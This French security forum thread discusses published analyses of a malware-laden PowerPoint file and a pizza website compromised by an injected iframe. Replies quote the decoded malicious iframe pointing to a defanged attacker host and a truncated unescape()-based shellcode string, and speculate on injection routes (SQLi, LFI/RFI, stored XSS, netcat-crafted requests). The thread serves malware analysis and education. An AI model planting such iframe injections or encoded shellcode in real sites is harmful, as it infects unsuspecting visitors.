ASafety - AntiSecurity Un projet qui vous tiendra @coeur...

Analyse détaillée d'un fichier PowerPoint infecté

Questions, réponses, sujets divers, news et informations

Sujets en relation avec cet article

ASBot
 

Analyse détaillée d'un fichier PowerPoint infecté

Message non lude x[@♥] » Mar 6 Juil 2010 07:28

Analyse détaillée d'un fichier PowerPoint infecté

Titre original: CSI:Internet
Episode 2: The image of death


Image

Une magnifique expérience et analyse nous est offerte par un expert de la sécurité allemand. Cette analyse vise un simple fichier PowerPoint, jugé "de confiance" par VirusTotal. Après plusieurs heures de bataille, cet expert nous révèle en intégralité sa démarche, ses conclusions, le tout illustré d'exemple.

Le fichier PowerPoint contenait un shellcode encodé via XOR (pour l'utilisation de caractère ASCII uniquement). Celui-ci s'exécute après le lancement du PowerPoint via un OLE, qui se charge de se déplacer dans le code binaire du diaporama à des endroit bien précis, en vu d'y extraire du code pour régénérer 3 fichiers binaires, tous infectés et identifiés comme trojan.

Une fois ces fichiers extrait du diaporama initial, ils sont créés sur le disque, puis exécuté. C'est à ce moment là que des connexions et des paquets HTTP sont visibles en direction du Népal et que votre système devient corrompu...

Pour plus d'intrigue et de suspens, je vous laisse à la lecture de cet article fort prenant!

Src here!

J'ajouterai que l'expert utilise les outils vraiment intéressant tel que:

OfficeCat:
OfficeCat is a command line utility that can be used to process Microsoft Office Documents for the presence of potential exploit conditions in the file.

The tool is used on Windows systems and is provided as a binary executable.

Code: Tout sélectionner
http://www.snort.org/vrt/vrt-resources/officecat


Sysinternals:
The Sysinternals Troubleshooting Utilities have been rolled up into a single Suite of tools. This file contains the individual troubleshooting tools and help files. It does not contain non-troubleshooting tools like the BSOD Screen Saver or NotMyFault.

Code: Tout sélectionner
http://technet.microsoft.com/en-us/sysinternals/bb842062.aspx


Et un excellent article sur la compréhension des shellcode en détail pour Microsoft:
Code: Tout sélectionner
http://nologin.org/Downloads/Papers/win32-shellcode.pdf


Bonne lecture!

:hat:
Temp...
Avatar de l’utilisateur
x[@♥]
 
Messages: 1115
Inscription: Lun 21 Sep 2009 15:21
Localisation: Sur la root

Re: Analyse détaillée d'un fichier PowerPoint infecté

Message non lude Jill » Mar 6 Juil 2010 10:56

Article génial :p !!

J'ai suivi un lien à la fin de l'article sur une exploit d'ActiveX qui mène au téléchargement d'une malware uniquement en visitant une page web (ici son livreur de pizza qui s'est fait hack XD ), voici le lien

http://www.h-online.com/security/features/CSI-Internet-Alarm-at-the-pizza-service-1019940.html
Jill
Jill
 
Messages: 57
Inscription: Jeu 1 Avr 2010 16:06

Re: Analyse détaillée d'un fichier PowerPoint infecté

Message non lude x[@♥] » Mer 7 Juil 2010 08:32

Jill a écrit:Article génial :p !!

J'ai suivi un lien à la fin de l'article sur une exploit d'ActiveX qui mène au téléchargement d'une malware uniquement en visitant une page web (ici son livreur de pizza qui s'est fait hack XD ), voici le lien

http://www.h-online.com/security/features/CSI-Internet-Alarm-at-the-pizza-service-1019940.html


Oui je l'avais lu directement à la suite de l'autre. C'est vrai qu'il est bien puissant aussi, mais personnellement, je le trouve légèrement moins impressionnant, bien qu'il conserve un exotisme sans pareil! :twisted:

J'avais de plus deux petites remarques à faire concernant ce deuxième article:

Page 1:
After I've replaced document.write() with a simple print(), however, the code works fine:

$ js 1.js
<iframe src="hxxp://tissot333.cn/eleonore/index.php"
width="0" height="0" frameborder="0">
</iframe>

Looks like somebody injected an iFrame with a reference to another web page into the website of my favourite pizza service. They probably exploited a vulnerability in the web software used and added the code via a method such as SQL injection.


Pour la première partie, il n'y a pas de doute. Toutefois, je reste plus que mitigé quant au fait que cette injection de code permanent sur la page du site de pizzas ait été fait par le biais d'une SQLi. Certes, en cherchant on trouve toujours un scénario tordu ayant mené à une telle injection (une SQLi permettant de récupérer les accès administrateurs hachés dans la base de données, après un cassage réussi et l'url d'administration trouvée, écriture ou modification de page du serveur par le biais d'un CPanel présent ou d'une vulnérabilité d'un CMS d'administration... Ou un tout autre scénario : écriture si les droits le permettent et les chmod via BLOB par requête SQL d'un fichier après injection temporaire du code dans la BDD...), mais ça me paraît plus que compliqué (sans pour autant être infaisable ;)).

J'opte donc plutôt pour une LFI/RFI ou un RCE. Voir peut être un listing sur l'index du site du livre d'or ou des derniers commentaires des clients, contenant une XSS permanente.

Page 3:
var z4wurLU =
"%uA164%u0018%u0000%u408B%u8B30
[ ... ]
%u6944%u6572%u7463%u5F58%u5344";

And this time, the whole thing is unpacked via unescape():

var ZqEs8Ui = unescape(z4wurLU);

However, these encoded hex values look more like shellcode to me – machine-code instructions that are to be injected via a security hole and then executed. The next line confirms this:


Juste pour ajouter quelques précisions, ce sont le plus souvent des valeurs unicodes que l'on identifie par le biais du "%u" suivis de 4 valeurs hexadécimales. La fonction "unescape()" les traite particulièrement bien, et ce type d'encodage, beaucoup moins filtré par tous les systèmes de protection, implique une injection le plus souvent invisible donc bien plus rentable.

Le plus souvent (quelques soient les langages), le transcodage d'un format vers un autre se fait par l'échappement d'un caractère relatif à ce même encodage:

Binaire:
Code: Tout sélectionner
#b00010101

Hexa:
Code: Tout sélectionner
#xFFA025CB

Octal:
Code: Tout sélectionner
#o76423071

Unicode:
Code: Tout sélectionner
#u0279AB51


Dans cet exemple j'ai mis un sharp "#" en guise de caractère d'échappement, mais en fonction des langages, ça peut être un "0", un "%", un "\"...

Concernant l'obfuscation du code, elle est propre, il n'y a rien a redire sinon que des algorithme JS d'obfuscation bien plus exotique, complexe et anti-reverse-engineering existent.

Voila c'est tout :p ! Merci du feedback ;)

:hat:
Temp...
Avatar de l’utilisateur
x[@♥]
 
Messages: 1115
Inscription: Lun 21 Sep 2009 15:21
Localisation: Sur la root

Re: Analyse détaillée d'un fichier PowerPoint infecté

Message non lude Jill » Mer 7 Juil 2010 10:03

Toutefois, je reste plus que mitigé quant au fait que cette injection de code permanent sur la page du site de pizzas ait été fait par le biais d'une SQLi


N'est-il pas possible d'injecter du code HTML via SQLi dans une partie de la BDD qui est affichée ensuite par PHP ?

Ici, le pirate aurait pu trouvé une SQLi et injecter son HTML à un endroit (genre les news etc..) qui sera chargé ensuite par le site.
Jill
Jill
 
Messages: 57
Inscription: Jeu 1 Avr 2010 16:06

Re: Analyse détaillée d'un fichier PowerPoint infecté

Message non lude x[@♥] » Mer 7 Juil 2010 11:31

Si bien sûr, mais il faudrait pour cela une configuration bien spécifique du serveur web ainsi que "l'oublie" de l'utilisation de fonction de "sanitization" (nettoyage) des inputs du site. Je parle ici par exemple de la fonction "mysql_real_escape_string()" de PHP pour les BDD MySQL, qui se charge d'échapper et protéger tous caractères potentiellement dangereux (bypassable dans certains cas). Et quand à la configuration du serveur web, par exemple Apache, des directives actives par défaut (il me semble) comme "magic_quotes_gpc" parsent tous les inputs en vue de les échapper.

De plus, il faudrait éviter que le serveur (ou le client, car tous les navigateurs le font par défaut maintenant) est "l'url_encode" d'actif par défaut (conversion des caractères potentiellement dangereux comme les "<" et ">" en leur équivalent hexadécimal) pour que le balisage "<script>" puisse être correctement injecté.
D'où le passage par un "navigateur" primaire, tel que "netcat" pour forger sa propre requête sans que ce type d'encodage ne s'applique.

Et pour finir, il faudrait trouver une SQLi ou un "INSERT" est applicable soit par chainage, soir une SQLi directement dans un "INSERT". Ce qui est d'une relative difficulté lors d'une attaque en "boîte noire" (sans connaissance du code source).

Bref, je pencherai plutôt vers LFI/RFI et RCE voir XSS permanente comme je le disais. Mais ça reste possible, dans les cas ou le serveur, le navigateur et l'application web cible ont une configuration particulièrement adapté pour une telle brèche.
Temp...
Avatar de l’utilisateur
x[@♥]
 
Messages: 1115
Inscription: Lun 21 Sep 2009 15:21
Localisation: Sur la root


Retourner vers Discussions



Qui est en ligne

Utilisateurs parcourant ce forum: Aucun utilisateur enregistré et 1 invité

cron